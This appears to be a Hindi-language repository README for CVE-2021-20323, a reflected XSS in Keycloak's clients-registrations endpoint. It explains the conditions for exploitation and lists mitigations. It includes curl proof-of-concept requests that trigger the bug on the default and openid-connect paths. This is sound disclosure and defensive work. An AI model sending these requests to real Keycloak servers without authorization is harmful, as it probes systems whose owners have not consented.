
Keycloak 18.0.0 से पहले और 10.0.0 के बाद के संस्करणों में clients-registrations endpoint पर एक reflected XSS मौजूद है। यह बग POST द्वारा एक JSON संरचना प्रदान करने से ट्रिगर होता है, जिसमें एक key को parameter नाम के रूप में दिया जाता है जो endpoint द्वारा समर्थित नहीं है। प्रतिक्रिया में JSON key एक त्रुटि संदेश में reflect होती है और हेडर Content-Type: text/html के रूप में सेट होता है। जब इसे ब्राउज़र में निष्पादित किया जाता है, तो JSON key से HTML कोड की व्याख्या की जाती है, जिससे JavaScript कोड ट्रिगर हो सकता है। कोई प्रमाणीकरण आवश्यक नहीं है और यह बग सभी उपलब्ध realms को प्रभावित करता है।
वर्तमान में, बग को Content-Type: application/json की आवश्यकता होती है और इसे POST के माध्यम से प्रस्तुत किया जाता है, इसलिए इसका दोहन करने का कोई सामान्य मार्ग नहीं है जिसका उपयोगकर्ता पर प्रभाव पड़े।
यह repository CVE-2021-20323 के लिए POC और उपचार/शमन अनुशंसाएँ प्रदान करती है।
यह बग ट्रिगर करना बहुत आसान है।
curl -v -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: application/json" -d "{\"\":1}"
इसे openid-connect provider के साथ भी ट्रिगर करना संभव है।
curl -v -X POST {BaseURL}/realms/master/clients-registrations/openid-connect -H "Content-type: application/json" -d "{\"\":1}"
नोट: पुराने Keycloak संस्करणों में (जो quarkus के बजाय wildfly के साथ चलते हैं) base path /realms/* के बजाय /auth/realms/* का उपयोग करता है
जैसा कि हम कई स्रोतों में देख सकते हैं यहाँ या यहाँ, एक reflected POST XSS का दोहन करना जिसके लिए Content-Type: application/json आवश्यक है, सामान्यतः संभव नहीं है। एकमात्र स्थिति जहाँ यह हो सकता है वह तब है जब CORS नीति को डिफ़ॉल्ट से मैन्युअल रूप से ढीला करके cross-origin requests की अनुमति दी गई हो। यह परिदृश्य केवल बहुत विशिष्ट उपयोग मामलों में ही उचित माना जा सकता है जो एप्लिकेशन स्वामी द्वारा कार्यात्मक कारणों से बनाए गए हैं। ऐसे मामले में दोहन योग्य होने के लिए, हमलावर को या तो CORS नीति में अनुमत domain/server पर नियंत्रण होना चाहिए या इस दूसरे domain पर एक XSS होना चाहिए जिसका उपयोग relay के रूप में किया जा सके।
CVE-2021-20323 के साथ, Keycloak multipart/form-data या application/x-www-form-urlencoded के Content-Type वाले POST को स्वीकार नहीं करता है, जो एक सामान्य form submit में अनुमत केवल दो प्रकार हैं। यह CVE-2021-20323 को केवल तभी दोहन योग्य बनाता है जब CORS इसे स्पष्ट रूप से अनुमति देता है।
# curl -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: multipart/form-data" -d "{\"\":1}"
{"error":"RESTEASY003065: Cannot consume content type"}
# curl -X POST {BaseURL}/realms/master/clients-registrations/default -H "Content-type: application/x-www-form-urlencoded" -d "{\"\":1}"
{"error":"RESTEASY003065: Cannot consume content type"}
Keycloak 18.0.0 या उसके बाद के संस्करण में अपडेट करें।
RedHat Single Sign-On के लिए कोई ज्ञात फिक्स्ड संस्करण नहीं है, जो RedHat द्वारा Keycloak का पुनः पैकेज किया गया संस्करण है।
clients-registrations पर किसी भी कॉल को प्रतिबंधित करने के लिए एक reverse proxy स्थापित करेंclients-registrations तक पहुँच सीमित करने के लिए Keycloak को ACL के साथ कॉन्फ़िगर करेंMIT License © [ndmalc]